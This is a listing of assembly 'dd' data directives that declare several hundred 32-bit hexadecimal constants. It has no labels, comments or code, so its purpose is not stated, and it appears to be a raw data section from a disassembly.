dd 49317E6Fh, 5C1977F0h, 3F31C628h, 0BF940227h, 0C26E06ECh
dd 41FD26E9h, 75165F11h, 0E82E61ECh, 1DDCF668h, 147D9492h
dd 0ECDF06ECh, 0DAD45C16h, 3D18D24h, 0A5A41096h, 6F5C31E8h
dd 472FAA14h, 0C9E41C6Eh, 4E8D4964h, 498B6DC8h, 2EBCB400h
dd 0B7DA406h, 31F581AEh, 783CCC89h, 0F54C63CCh, 0B05E1497h
dd 0DCBCB515h, 92445F9Ah, 0C2B211C7h, 453D842Fh, 6A81AD99h
dd 16E813A7h, 0F628E579h, 0EC2AA4Bh, 0C2E00CC7h, 7600D53Fh
dd 0AF9C941Eh, 99038C49h, 0AB5786BDh, 3A66F2B2h, 5BE8A5DBh
dd 0A8492C88h, 0E358D8E6h, 0D2865A3Ah, 0E1AF1A4Ch, 9E5C06ADh
dd 7A38C66Bh, 951669EAh, 0EE1FCD06h, 0D8855C65h, 0C263F246h
dd 33D8793Fh, 10294841h, 52A95A4Fh, 0C64DA33Bh, 21DA3329h
dd 76C5BC23h, 0FBDCD568h, 7868E360h, 1E8BF579h, 2A4F64F9h
dd 0EA39881h, 0C46FB42Bh, 0A48547FDh, 0FE3E62FCh, 6517E61Ah
dd 0A555AC5Fh, 2521C6B4h, 9B314180h, 0E2B7E1B3h, 0D4CAAC7h
dd 0F48D6020h, 0C89CD85Eh, 0BFF772BAh, 6ADAA7B4h, 962AFBB3h
dd 8E150FB1h, 3E533670h, 37253C2Eh, 6D0DBD0Eh, 9F038459h
dd 590ECCC5h, 1C653C5Dh, 58998CC2h, 2FFE7C3Ch, 57ACCB63h
dd 3D523F06h, 0A800FB98h, 86D3208h, 65BA02E3h, 27F0D926h
dd 0FC0AD3F5h, 5178FA79h, 5F9E6EFDh, 8F3E5111h, 31F42CE8h
dd 0D3760896h, 0FB666E56h, 92D8C7C1h, 70836D3h, 0CB21136h
dd 7B3B6CF9h, 50EF8EE6h, 9F2E60F9h, 66F16C4Fh, 0D5C0ED00h
dd 31953E1Bh, 0CC60E359h, 12683627h, 0B9A478D6h, 0EBD78DE1h
dd 8520FE4Eh, 56CF90B5h, 0C48364F4h, 20199693h, 2A6D7F9Bh
dd 2D9F0085h, 4AA83908h, 4160B859h, 6516DF98h, 9BCF77A8h
dd 0F5CE4F88h, 4F5E0720h, 8B2483E8h, 0C0E56A93h, 0A234212Bh
dd 8037F0CDh, 0D84CFFB0h, 7040C564h, 85CE2571h, 86ED7D70h
dd 0B4E9373Ah, 0E5D1B777h, 0A5ED168Bh, 5706F8D8h, 961F94C9h
dd 0C3AAD33Eh, 9D694068h, 9BE1604Dh, 699590Fh, 1FE83AF7h
dd 31F14E69h, 80967AD7h, 343284ACh, 0F44D1220h, 9365BE05h
dd 92CB3807h, 0B9776079h, 11161BBEh, 0C3E1B1Eh, 6938FCA7h
dd 0B7EA4B90h, 6BD871EDh, 0DB9499C2h, 20E102F7h, 146BC240h
dd 31AA6721h, 331CC57Eh, 0ECF273F0h, 0E87D2ED4h, 40BCC825h
dd 0FC7AB92Bh, 0F7F07825h, 39486013h, 0B19E51E4h, 0CD7F731Ch
dd 8848EC5Fh, 1E13C050h, 0D8ADD380h, 0A9A15A43h, 0D427C210h
dd 3298BF8Eh, 0A08F1B7Dh, 0AC342173h, 63C65126h, 231BCDA0h
dd 60797E54h, 0C0EFAD67h, 74E00D9Eh, 13C3206Eh, 40F93C55h
dd 83D466DBh, 0F64FF433h, 2487BC45h, 274D018Dh, 5708E112h
dd 0C259D4F0h, 103C1104h, 0CF7D413Fh, 0B144CE7Bh, 8A0C856Ch
dd 0D756FCB1h, 174051E6h, 0C53EBC47h, 0ADAEABB4h, 0FE0551ACh
dd 0FE87045Dh, 42C44951h, 0C7E4C5F0h, 703A9DF6h, 94973021h
dd 0A900D192h, 0C33C55DAh, 0CCBE7BCAh, 96D76605h, 0A069ABBAh
dd 1B6D03C3h, 0D70CECF2h, 919ED43Ah, 67C4E662h, 318297ACh
dd 0EA4F1417h, 6CED299Bh, 1386C75Bh, 0B6C8221Ah, 4CD1E2F3h
dd 0BD5D298Bh, 410A633Ah, 0B3E2C354h, 4452269h, 90C1DA5Bh
dd 5C9EC699h, 7899C261h, 0EC58B18Bh, 0EC800120h, 43268051h
dd 282587FEh, 0C8AD9B6Ah, 0E953DB1Fh, 3F807D96h, 0F7EB95AEh
dd 619A1BF7h, 4FF5B6EFh, 67B67334h, 1380914Eh, 26A62AD6h
dd 98398A2Fh, 5E3B0BEBh, 367F2ECFh, 0AD4FE26Bh, 4194D57Dh
dd 96D5475Eh, 8CB5EE07h
dd 79B62A7Ch, 3D8D77F0h, 0D604BF4Ch, 5952B33Ah, 21CF0E2h
dd 29A90A7Bh, 5516EB85h, 0CEA4C164h, 0BADB48D0h, 0B0C06109h
dd 11E8FAA9h, 0C7B049C2h, 59B5A160h, 83A61FC8h, 0CF2F460Bh
dd 3EE4CDE6h, 91926510h, 0EBD01DDEh, 0DEC70629h, 0DA67B4C9h
dd 0A2FB3C2Dh, 287D25DDh, 595B2E57h, 8A6F035Ch, 0A07605A8h
dd 0B8978529h, 0EABFEE6Eh, 0D4993AFBh, 9E6215C2h, 875C17A5h
dd 2B2E0F8h, 0B0814962h, 4787900Dh, 5251C3C2h, 66CAFB07h
dd 1D059EBBh, 0A71CF9D2h, 0D797501Eh, 0F955106h, 65503D36h
dd 699D91D7h, 9505A8E6h, 0CECBCF8Ah, 8EF7CF00h, 0D7EB8273h
dd 0C9A39B2Ah, 18C90FA4h, 0FC3A9A47h, 4E41D796h, 0E22AC533h
dd 69B203E2h, 8775BD16h, 695F5573h, 7F284C99h, 0F5B53A6Eh
dd 0DEB206D9h, 425700D5h, 4824AF91h, 89F1F62Dh, 0C958EA35h
dd 0BAFC4DD6h, 0D647CBF5h, 503D7E4Ah, 32F14F9Eh, 90604F66h
dd 6AC18136h, 0BFC13FFCh, 8C16FB7Bh, 2313C14Ch, 1DC276BEh
dd 0BAEFB024h, 646F37BFh, 0AB4F590Ch, 55646E61h, 12C8FE94h
dd 7156F623h, 0AFEF61DBh, 28E34CCFh, 8AA17687h, 0A470FBCAh
dd 2BC045DCh, 0C2FAE89Ch, 2BA979E0h, 0D55EF075h, 5866E6E7h
dd 0A6DDEB44h, 8CAF14BDh, 0D602955Fh, 8E036D48h, 0B7139FAh
dd 99AA71ACh, 7484CD6Ah, 57BDF03Eh, 3C3E4B36h, 0DFC932FFh
dd 8FAA788Ch, 0A2667F9Ch, 24598273h, 221BDC63h, 0BBD25C61h
dd 513B56D9h, 5CC40246h, 0D09E56A0h, 1950A334h, 0F96A8060h
dd 3E73E590h, 1111AEB5h, 0EBC779D0h, 0BA7D2152h, 1002F630h
dd 55A2398Ah, 4F9CCC75h, 0CCED0D8Dh, 1C5C7D40h, 61916453h
dd 0D8206420h, 1AD766F9h, 0DE90B5EAh, 0E53652h, 68FD28FDh
dd 20BF5904h, 0FD519EFBh, 11C15645h, 0FC686F35h, 3E334CE9h
dd 357E399Dh, 0CF2C33FCh, 54ACD2B7h, 0ABA2212Dh, 773CC23Dh
dd 0FE6B5A3Dh, 0E8762E82h, 0DD2A39F5h, 1C7C3746h, 0AB31FACFh
dd 43E82E11h, 0C66F5A96h, 0F5AA67CAh, 6EC3E9ACh, 96057923h
dd 0CA95555Eh, 7682E8CDh, 122A9D9Fh, 737A0508h, 176E79ECh
dd 4DD262AAh, 4B1126F1h, 402ACF54h, 672253B7h, 39A58493h
dd 0E9590E38h, 8D3ECB54h, 0DB90EB2Fh, 28824C13h, 3DD849E0h
dd 6A0C01BAh, 0A62F8F55h, 0E710DD1Ch, 0B8F1D62Bh, 111CBD70h
dd 0F15516ACh, 6B0EB023h, 28878E12h, 0B82BB3DFh, 43C457B5h
dd 99DA2794h, 725764E6h, 0B937E8E1h, 59F11B1Bh, 0C27ECA75h
dd 0E07A1383h, 0AB78503Ch, 9FC67B00h, 0EE1E79CDh, 0CE420943h
dd 0CFF930E4h, 861E122Eh, 88161A43h, 81E8AC49h, 0E5CE5535h
dd 643D9245h, 8366A8B9h, 9BF1CD56h, 840BDD14h, 8F2F4693h
dd 0D7320FDCh, 4D8F549Ch, 5BB512A0h, 0D39D906Fh, 0E0295328h
dd 29CCFA2Ah, 64294578h, 0DABCBA0h, 24CC36C0h, 7B6EB9E1h
dd 577C504Eh, 0CF3AC365h, 0E6FE7DDh, 83B1E124h, 1CF66FA9h
dd 0E655B0B5h, 0A46628ADh, 69B79F89h, 0BBCA7289h, 199FF650h
dd 6A29EC3Ah, 0A2BA2506h, 736D0F6h, 0F656CFACh, 56C22B52h
dd 364AE505h, 0DB4CDEB4h, 36D6C755h, 676EAEA2h, 3D5DD9h
dd 0B9AE5117h, 7990CE49h, 76CC7AF1h, 855479E8h, 0F27F970h
dd 395F8780h, 32BC499Eh, 304DD044h, 31D09E2Bh, 0AACB6E26h
dd 0CE741E71h, 22AFAD70h, 4DF075B6h, 0EDDE8188h, 0A247DF12h
dd 7873C879h, 51562829h, 4B1FD2E5h, 75A67DDFh, 0AEA48794h
dd 6CF53CBEh, 4D1731D4h, 135E809h, 4BE4CD67h, 4F996DD7h
dd 2E81C1BEh, 9BA889F4h, 80C3E72Eh, 340ED169h, 0C6B77460h
dd 4033D743h, 881995E1h, 461D0C55h, 0ED4C2EBBh, 5F61ABDEh
dd 6C8F24D7h, 515778C4h, 1AA8CBFh, 1C8167A7h, 1FBC73EBh
dd 99986701h, 1D30F8F3h, 0DF9F650Dh, 0E1B5BE4Eh, 3416F19Ch
dd 0C313628Dh, 7F46B7CFh, 37878631h, 60B243FBh, 6DA75204h
dd 77DCEC50h, 22AD281Dh, 64700F61h, 0B775763Fh, 7214E212h
dd 6B061407h, 0E6E2FF70h, 0EBF0A6AAh, 5F78A55Eh, 709D266h
dd 7F0E76DCh, 1441CD5Ch, 39FD81DAh, 0D764389Ch, 392FDE6Eh
dd 62C57C23h, 0DC6CA508h, 0DC5C52BDh, 9B60C195h, 3257EC32h
dd 0A0699096h, 6A037ABFh, 0FB4C3D18h, 9D986964h, 3D68F97Ah
dd 0F029E79Ah, 0BF0EC866h, 0C1C628C8h, 0D0682723h, 0F6A849A5h
dd 7511B61Fh, 90EC6428h, 40F1782Dh, 0A9D83199h, 151CF165h
dd 0A7168153h, 354AA0E6h, 58BA56E3h, 0AD3EDF01h, 0B554E756h
dd 0FC82CDE1h, 0A93E59A2h, 89652791h, 32FFB85Dh, 0E292BD68h
dd 6BFBD564h, 3FFA3A12h, 3E56DBF6h, 0AD428D51h, 0DA848B74h
dd 3C9276D3h, 6D37CB9h, 2AFDE550h, 36D7B1E5h, 0A0B9E52Dh
dd 0AAA5F20h, 0B5102383h, 1537812Ch, 8994CD8h, 78DBC84Fh
dd 0F745F69Bh, 0F7B64636h, 4C72DB58h, 0E3640C35h, 3481B439h
dd 71F37E7Bh, 0F24F7EEAh, 0B8D14D9h, 86B57880h, 1BFBB86Dh
dd 0BF1F7E31h, 71E2F861h, 0CC934C99h, 0D40056DFh, 0E4C4559Ah
dd 0B534A96Ah, 54E88D74h, 3F1CFCAEh, 67D49DE1h, 9CF9081Ch
dd 0F490E428h, 99F1CA0Bh, 0CBA210D2h, 3A4B05E7h, 975AE084h
dd 0DEACD693h, 0FA6FAC26h, 87BE7E8Fh, 9E1AE7BFh, 2E3418BBh
dd 903D452Ah, 260FFE97h, 18D2555Fh, 49EA7694h, 41F00AE6h
dd 8C24202Ch, 0F88DEF20h, 0AEF530C1h, 0E7165EDh, 0BB8B3FA9h
dd 30EAF252h, 0E74DA62Eh, 0DCE9BCA8h, 0B0DA20C2h, 23298C85h
dd 0FEA7548Fh, 7D52ED07h, 0FC870B20h, 7EBE369Bh, 0BDB315B3h
dd 89B34664h, 75FFD2E4h, 74F89794h, 30510F63h, 0C3A28411h
dd 0E4C889AAh, 64FE370Bh, 7EF76F30h, 97BF4DE0h, 1BFFFFC7h
dd 506FDBC0h, 0A2FF4A6Eh, 97623C88h, 0E1353B84h, 0CE1E0192h
dd 0BE8AA33Dh, 83FA8B5h, 0CAE778E8h, 2BD940D2h, 3631629Bh
dd 400BAC89h, 0B0DE8889h, 9AFAB393h, 0D4C50832h, 0DD8637ABh
dd 7403F18h, 0C58293C2h, 9534544Eh, 96DF21C6h, 3ABC700Dh
dd 705BAF01h, 8DA21F7Bh, 9C2EFD4Ah, 0B8469EC5h, 0B6D568B6h
dd 17FBB864h, 7904610Ch, 81CB2A38h, 0DB6D377Ch, 74AA1D5Dh
dd 0B588937Dh, 4A57B2FBh, 0CBA6C89Ah, 1E2B19DEh, 0CA5C1941h
dd 1F37530Dh, 2EF1701Eh, 123F5885h, 0F01BDD87h, 0EEFBA097h
dd 53E39264h, 567D594Ah, 0E1F56485h, 590D5571h, 89DCC415h
dd 65D0B645h, 89E991DCh, 0E4273C4Bh, 88E8E5Bh, 6106B767h
dd 8DB02h, 0F8D54949h, 414F97E6h, 0B3D853D8h, 0FDC69485h
dd 47367B3Dh, 6729CA11h, 60BB5740h, 0F18522D4h, 0FFDAD3h
dd 0EE5D9EA3h, 0D2ED289Dh, 1F3507DDh, 0D27E2D4Ah, 9EE77DDCh
dd 94662FF8h, 0CF97E6DCh, 6A688C1h, 742FB7FAh, 0C79A7A1Ah
dd 67BAAFACh, 43B491ADh, 11125662h, 0B1CBDAB0h, 29668FE5h
dd 29CD45BAh, 0B457446Fh, 0D2119E6Bh, 3FF3902h, 852F7A0Dh
dd 6EEE7BD5h, 58DECCB6h, 5E8D2637h, 0FDE6A3BAh, 0F866A565h
dd 44017234h, 0BF91DD80h, 0EAAF1336h, 24FFCE5Fh, 0F09330FAh
dd 0F4226F93h, 44629F53h, 16B91BBFh, 1A61456h, 69C3F93Eh
dd 750989C2h, 15C6CE46h, 1658D835h, 47F9062Bh, 489C7C2Ah
dd 2C5A24D9h, 0FE1337FDh, 0B76382B6h, 6E45F101h, 0B78CA14Ah
dd 0B292E787h, 406118FFh, 792F5EDCh, 0EC8DDB25h, 92351A5Fh
dd 6D4C0E75h, 82835019h, 0C7E03875h, 9346E7D8h, 0C62BB7A1h
dd 0C042B3E7h, 0A77125E2h, 0ADD5F5F4h, 0A2115EAFh, 0C34FA811h
dd 3E9F55D5h, 0F9360EBBh, 3368938h, 0FCC233FEh, 9BC252AFh
dd 8B86FCC2h, 8755166h
dd 0E79267A2h, 0B6ABFC07h, 4BD3EB59h, 3693A684h, 0A111EC29h
dd 72E04365h, 1F08202Dh, 6F162EEh, 0DA1D5CD4h, 8591A059h
dd 111B3591h, 246CFC60h, 30810E89h, 0DC59EA28h, 0CEB09714h
dd 0FC4BE1FAh, 0DBD71231h, 0D2763E1Dh, 6BB68D91h, 5708CEA6h
dd 0E148F59h, 0C75D8847h, 84409BD8h, 4429E231h, 447E7BB7h
dd 3267E1ABh, 5F1BE78Ah, 4B43CE9Dh, 54C5E183h, 9C3B915Bh
dd 8BB8673Fh, 1853390Ch, 0C2516175h, 8ACC59E8h, 42ACB48h
dd 0B76A95h, 64BDA072h, 9DD35DEDh, 1614D019h, 0EF296EA5h
dd 53280867h, 5EE13CFCh, 105697Dh, 0A7BE0BC6h, 8648C22Eh
dd 0BC096EBBh, 1896368h, 0D8189FDEh, 976B57B5h, 67CDB88Dh
dd 0A42D741Bh, 7EC5F060h, 0F7456C5Fh, 1E7DBB24h, 690ACBC6h
dd 0E3823932h, 5E7857FCh, 3FCBD45Ch, 0ED4EBFDEh, 7369EE27h
dd 35B8CD64h, 4C3548ACh, 0DFE65F28h, 0D5652455h, 3D5F43B6h
dd 8D8C5EF2h, 26A90887h, 1F36DD61h, 3CEAA502h, 3FBBDE63h
dd 9D4DE745h, 65A0BA4Dh, 0C25D911Ch, 0AD79653Bh, 0A49B1668h
dd 0B170FC87h, 0BAFED676h, 616E2826h, 0A9810BF4h, 3AFBCE64h
dd 1373428Dh, 0D8E6BB80h, 0EA6229C1h, 287D49A6h, 7FD4B393h
dd 0B41D0D83h, 8351F3A3h, 0C7F641B4h, 9641EB06h, 0A5885230h
dd 94345E66h, 15C2F1A3h, 381F06A4h, 4C69F5D0h, 0B9A71C71h
dd 0E279E94h, 37AC63D3h, 0E9E5AFBDh, 0A0ECD36h, 89AC8E8Ah
dd 0A9B15297h, 0EB9A55F1h, 40B59686h, 6CAC6D7Fh, 689E2ACh
dd 21D94001h, 96B3AD7h, 4DD5A64Fh, 0D567F011h, 2181F4A8h
dd 2473E0AFh, 1A9C8087h, 32159902h, 908F2056h, 1B4D0257h
dd 0C9E7111h, 1C946DDh, 7934096Dh, 0CE18603Fh, 0B7D3E14Bh
dd 1A4AA045h, 11FEE690h, 978AA61h, 0FA3812C9h, 0F6C66C5h
dd 0D8FAE876h, 776EA52h, 13DC33ACh, 0FAA33EC3h, 539BD830h
dd 840E79E5h, 0F2D4C205h, 3EC94AFFh, 0B11834Ah, 783DE32Ch
dd 84ACE921h, 18727A2Ch, 2766E8E8h, 80E647EFh, 0EA308953h
dd 7FCA5728h, 0EA6811EBh, 0EA1C9132h, 0F58EF262h, 0C59221DBh
dd 89B043Ah, 0A9083F9h, 0F62DFB3Ah, 2DC33E81h, 0F19D528h
dd 7C969FACh, 353756AEh, 9A1FFC56h, 6E3D6D82h, 69319A7Bh
dd 5829BDF0h, 29E74963h, 0C85C3C70h, 49A27229h, 0E71AB0C8h
dd 1AEB834Eh, 26777FC8h, 0FF99146Dh, 80DDE429h, 359AF28Ch
dd 4AD3DDDFh, 2DFA85ECh, 0BBCDD845h, 0FE832787h, 2DF6D91h
dd 0A297D420h, 18BE3A19h, 41154EA5h, 4DCBF48Dh, 8C93CADEh
dd 75C952ECh, 8068A5ACh, 0C1C26BE7h, 6B71B3B1h, 0D19C9AC9h
dd 5DDFFD46h, 0E68A2B54h, 10AC607Eh, 0AF633BE0h, 50A3960Ch
dd 0FBD6383Fh, 0A303C801h, 4F2BFBDFh, 0CA6222EBh, 0E2089616h
dd 71896710h, 0C2C80018h, 6A1B2B6Dh, 0DC7ABCCDh, 0B7D8A73h
dd 0ABE81A0h, 9487E03h, 28C5400Dh, 0D3D8631Eh, 813FB1A0h
dd 77C3A013h, 2C22F320h, 227F9346h, 5B2DBC90h, 72603139h
dd 5A5B15FFh, 0B6B6E558h, 0C0812F48h, 6C76BE6Ah, 2311B5C4h
dd 440C91Bh, 8E3DF2EBh, 2A2AA6A3h, 3F8CB9C3h, 0C058967h
dd 39FCA5F2h, 73450DDh, 0AA216AB5h, 140E8A7Ch, 6DDAE004h
dd 9E7796C0h, 0CD89B57Fh, 3DD20BFCh, 8430BADFh, 33D649B9h
dd 0EE4D4D1Fh, 634CEC20h, 9C24A5EEh, 79F6A6DDh, 0EC20D987h
dd 0D910CC7Dh, 0CEEE2BCCh, 1BE020BFh, 35519362h, 770FEC78h
dd 0B88B28A9h, 0D7E6052Bh, 5262AD0Bh, 21FF3380h, 4FA09431h
dd 3D99A8CAh, 0E26C2F89h, 0AC912E2Fh, 53F2514Bh, 0FB077589h
dd 2DA0879Ch, 3F959A9Bh, 9AA5684Bh, 2535518Ah, 0FF1D0405h
dd 47C90CF1h, 0EFBD96C3h, 0CC9E767h, 90E0CAE2h, 0FBD23A19h
dd 50E895A4h, 6BFF3B2Fh, 3EE8DBC8h, 0FE4B3F89h, 0DC568738h
dd 8BF65F81h, 4FE3AFEh, 7B7126F1h, 2CFAAB3Ch, 0A9D8F041h
dd 9B17A67Eh, 7D9F0550h, 0E692137Ah, 70E0F81Bh, 0F55705DDh
dd 781D82Ah, 27D58967h, 8C47FBBAh, 0E034ED5Dh, 0E34FEA47h
dd 0C731DB2Ch, 0C7B3F73Ch, 7DBC70E6h, 0F47D2A2Fh, 60BF9F5Ch
dd 0BB905C27h, 0AE55C521h, 988B4981h, 0E8299115h, 1DDB8B3Bh
dd 0B442AB57h, 28460A30h, 814E804Ah, 0FFB17DC4h, 8EDFFEB1h
dd 0DC28C834h, 97FC15EEh, 9B8B4BE1h, 66F78631h, 0C5590FA7h
dd 901E2ABCh, 0C08182B7h, 2D5B9807h, 9877A3Bh, 352C3EE0h
dd 40D4C030h, 0AC325BB4h, 8BCDFD84h, 0D667B3B0h, 858B4442h
dd 0BB52034Dh, 0B44481DEh, 0A0C6DDA2h, 17E508D6h, 0C059B166h
dd 3F65A242h, 25A9FF95h, 9F85D432h, 0F891D601h, 7304DD0Fh
dd 276877DBh, 0D3501D32h, 3BF8C44Ch, 5A84AE88h, 34C9B828h
dd 0BE8E8CD9h, 1ADC68F2h, 0F41F391Dh, 3A52182Fh, 7BEE7F9h
dd 3EF16D8Eh, 22587DA6h, 92D32004h, 431741BAh, 0C89B6F88h
dd 0A8715CCh, 0F230DC83h, 0A0D66DCCh, 6F907CF9h, 9518005Dh
dd 77EC21C8h, 0A163EAA8h, 0BFF6FA4Fh, 0E9ADEF8Bh, 0DCC3391h
dd 0E1723393h, 19512D51h, 0B081C450h, 550FD65Eh, 65C1627Eh
dd 3A7BD663h, 89650D78h, 573B1AFFh, 0EC42FF37h, 0CEEBC74Fh
dd 39290EDDh, 4945F5A0h, 7EE147AEh, 2474E0EFh, 2FDBBEB3h
dd 7AE6B405h, 15AC978Fh, 0B936C9E5h, 1E05F243h, 0A5E0E4BBh
dd 4D248FFEh, 2DD365FEh, 0C3519F4Ah, 6B22CF5Ch, 44A05ED6h
dd 0A5B749CDh, 0EA3603ADh, 0DB6F8C16h, 72BD7CDh, 5CC83A09h
dd 79B09B5Fh, 96795A9h, 0C6B65AFAh, 0B37B2BEEh, 0BF662DE6h
dd 0CADFE84h, 7DEA4947h, 7E7FEDF7h, 2CF350C0h, 0DDFDF43Fh
dd 45148196h, 39B05CEh, 6D2E4517h, 0EEB60BC5h, 26F73682h
dd 9D96E414h, 63125D1Ch, 0FEB60F3Eh, 0D8F9AABFh, 0D8CD271Dh
dd 5E2726CFh, 4ECE31B8h, 610C305h, 0AD6372B7h, 91F11500h
dd 7CC522E5h, 35BEB7D4h, 7382233Ch, 0E9A4363Ch, 3D658F1Eh
dd 0D312FB79h, 0D9A26B99h, 5FB3A7D6h, 0FBA863E2h, 0AC703F29h
dd 0A50ABD37h, 70A1BB43h, 0C2113681h, 450E7F34h, 69E844B4h
dd 0C2EA5EC2h, 0A2AA5558h, 24F172BCh, 2D2B528Fh, 115823D0h
dd 8CA1489Eh, 17C912DAh, 9C5816ECh, 0B2129C9Dh, 0BD71BEFAh
dd 0D1B202AAh, 0CFF05D14h, 0F061CAB3h, 0C897F88h, 174166AEh
dd 0E41BDCBAh, 48AFA129h, 0C112BD5Dh, 7E75A808h, 81A5801Ch
dd 0D732BBF9h, 9648D46Dh, 32ABB0C3h, 280810E2h, 99FFEAA1h
dd 45071573h, 0E5E3E22Dh, 0D403E053h, 94694063h, 8574CC5h
dd 0FB4664A1h, 75E44B7Ch, 2E7C63D9h, 12332BACh, 6AE37D32h
dd 0D174F379h, 443CE234h, 89382721h, 78D9562h, 0A0A18C96h
dd 0B05378D7h, 8ED051E8h, 0CEF7207Fh, 0C2508964h, 227C623Eh
dd 13BB2C71h, 52980C78h, 0D4BE23B0h, 4A96CA89h, 5F58E3Ah
dd 5A46C7C9h, 0C558F29Fh, 19B5738h, 100F22BEh, 85005E88h
dd 18521D26h, 28F1B040h, 7830E0F0h, 3742CC25h, 62FBC93Eh
dd 0DC231E23h, 87C0857Bh, 0F0BEA5DDh, 63BC244h, 0F417201Ch
dd 7B2A0BFBh, 7750A6C3h, 52021862h, 115433C8h, 0F2B16DECh
dd 91BDE5EDh, 0B39DA96Fh, 63D35640h, 222D8E65h, 5DA19E0h
dd 13CB8A6Ch, 0BE7BC203h, 0A7DC436Fh, 0B372F856h, 0C4E3B09Ah
dd 0D99021ECh, 0C55BD21Dh, 0FC55FC76h, 5F11B69Fh, 99D9E9CEh
dd 16E8B8A7h, 12376A8Eh, 0E298AA9h, 9F58668Ch, 6C419DDh
dd 6843F3C7h, 0A1A1E22Bh, 0F8B8E3C8h, 9073B073h, 0D78EFAA7h
dd 50E1AABBh, 189DC553h, 0B2E95837h, 0D5C078F2h, 933410Eh
dd 97E71300h, 6688A54Fh
dd 972818DEh, 3663AF6Eh, 0F3B00BA6h, 0A241027Ah, 6174BCBEh
dd 40949756h, 688DDE66h, 4ACD75BFh, 0BD1E3FF4h, 8A988AB3h
dd 8918FB51h, 0DCAB54D9h, 1FECB514h, 0D9417992h, 20B97D56h
dd 383F18DCh, 9BDE64D9h, 0FFD128B0h, 2B459412h, 0E55FB898h
dd 0B7F5867Ch, 0B066C748h, 308D95C0h, 0F791101Fh, 0C2AA61D2h
dd 10CCF0B0h, 51583FE2h, 3EFAC3A3h, 0FFF7BDC0h, 282BE400h
dd 0D5CC5AB1h, 64E202D0h, 0E664DFF0h, 0CD0A906h, 0CC88943Fh
dd 0B81A069h, 3F215909h, 944413C9h, 0A8052FE0h, 6933A45Bh
dd 5F48D97Eh, 96BD682h, 0D2FD64Ah, 16F11365h, 7F733092h
dd 4BC30D32h, 171E2694h, 5EE74EB5h, 0CA799C71h, 0CD5852A1h
dd 0DE175C04h, 59F191A3h, 0DD880171h, 0E65429F8h, 7FF8FADFh
dd 4CBE7396h, 7D6DE290h, 0F91444FDh, 340DC0A0h, 221A27C2h
dd 567FB03Ch, 59DDC514h, 0A2E79526h, 7192DDB9h, 0A976B7D8h
dd 30E110F5h, 0E0312EE0h, 5C094537h, 5E9461C0h, 0FD6C7B1Ch
dd 87214A38h, 947AFC2Eh, 0B4F0D075h, 2A29630Bh, 3D4500EFh
dd 0BC4F66Fh, 0F9690AC0h, 9CCF34B9h, 4C0E17BEh, 9E7A20EFh
dd 0A7F91C41h, 0E4B498E5h, 4431CF55h, 62BD3394h, 5B1FA539h
dd 0CDF049F7h, 0D2C76A63h, 83A21169h, 8679A49Bh, 187D1A91h
dd 753A2D1Dh, 0FAF6BFA8h, 0C0EA8E8Dh, 968D8778h, 81C9CFBAh
dd 2DE60286h, 0F60F52FCh, 15C05205h, 47E2CF0Ch, 0DE854992h
dd 49EC65A4h, 37CC83CAh, 56FD7E5Eh, 0E908678Bh, 71A855C4h
dd 0F9721382h, 0EC613884h, 0BC75CD49h, 37F1424Ch, 8D500B1h
dd 0C55D281h, 3CD69D15h, 405DAA36h, 0B8893723h, 0DF9DEF5Eh
dd 0BF51CDA2h, 0E208096Ah, 9DE30DE8h, 0CDC7B83Eh, 5B924AAAh
dd 63A211E5h, 0F2330E0Fh, 8E2C9B3h, 0BDF118E4h, 2FEA5496h
dd 0F4E40265h, 0EFAEE82Ah, 0C0DD8FA8h, 58ED247Dh, 5F222394h
dd 0F7E2CA55h, 52CB3D68h, 90113FDAh, 5B9CDDAFh, 0CD5D5279h
dd 0E019A490h, 69239F85h, 0F8A4EE6Ch, 0C1FF06AAh, 0ED806542h
dd 0C79C8F29h, 8AE330A3h, 3EED2B7Ah, 4C8CA97Ah, 8B5E8686h
dd 0ADBC8D2Dh, 0AC11A5BEh, 0A128D0Eh, 0C4ECE36Bh, 2475336Dh
dd 0DD65B6B9h, 0D5041852h, 628E77D9h, 0C04917D3h, 19F16533h
dd 800BCB99h, 0C7527045h, 3461286Bh, 9B8C4F0h, 1C20CBE6h
dd 3AD76BA8h, 6FA8332Ch, 0BB9A321Dh, 0B6D2A685h, 9143D82Ch
dd 0D03F5EEEh, 733EF352h, 0FF70A173h, 52AC5ED1h, 0ADF3E22Bh
dd 0E358C18Ah, 0B3049D72h, 0E91E3B78h, 25C6EC49h, 1EF3D38Ch
dd 0BE97F2BAh, 24EAB37Fh, 0A2B0E40Ch, 586EBA2Dh, 109C5F14h
dd 199CC750h, 6445A537h, 0D78FEA8Fh, 0DB74EB05h, 9E48B91Dh
dd 582E90B7h, 0D27C8ADDh, 2FA27D79h, 51559B4Dh, 820C793Fh
dd 9973793Bh, 5D1063D7h, 8EE78079h, 2EC13371h, 432886E2h
dd 875E9AEEh, 0E87C06C3h, 0E34C9103h, 0F4A011D1h, 6F6C2EBEh
dd 9990418Ah, 56CD2F33h, 67A53903h, 0E5F46388h, 254E8146h
dd 0F8F3E109h, 257FA7B5h, 288B6780h, 0F463F13Eh, 49C67BFEh
dd 383D3639h, 0B60574D6h, 0A4183CA5h, 736F5AEDh, 0E967BBA2h
dd 6BAABEEBh, 0F471CF62h, 2C3AF631h, 69B7BF4Dh, 3C52FCB1h
dd 0E14A2CF9h, 0A281B05Bh, 2EA301A3h, 31CFB719h, 2E46D84Bh
dd 7863FD08h, 0AA7F466Ah, 0CE993488h, 0AFA4433Dh, 6CCD232Dh
dd 3880FEF3h, 593074D1h, 382519Ch, 7FE2BB6h, 847FE0C9h
dd 199164Ah, 0AD61D04Ah, 8BE72EF7h, 0E599EECDh, 0B28CF569h
dd 846EE7E4h, 0C07FB32Eh, 6A30313Ah, 9F70CE23h, 0F73953D2h
dd 0EDB9AB6Fh, 60E73631h, 1192DB1Bh, 11E8445h, 0D313F3A0h
dd 2F5DD279h, 51E06CC9h, 0DFC750DDh, 4836E9E8h, 0ED14EE4Ah
dd 79438B96h, 8FFC3639h, 7934FFC7h, 66499114h, 9AD3ED11h
dd 873D0B81h, 0C499612Ah, 0D5FEF1B4h, 0A8BAEE6Eh, 4797A124h
dd 510E8590h, 0FC984552h, 7BCBBEC1h, 0C4828D4Eh, 23CDE6FEh
dd 0E68E5661h, 6BB4BE64h, 9A9D622h, 2B3AFF38h, 643E1AF2h
dd 0D0F938C2h, 0B6E97017h, 6337A8Bh, 8E3ABE0Dh, 0CD5B21Eh
dd 6B4DCE9Dh, 0BF881AFh, 0CFDB4672h, 0C1C1981Bh, 47AC8D2Dh
dd 8113927Ch, 6F2E21A4h, 0F3FA3CB1h, 0D9F2DBD2h, 8C91B5E0h
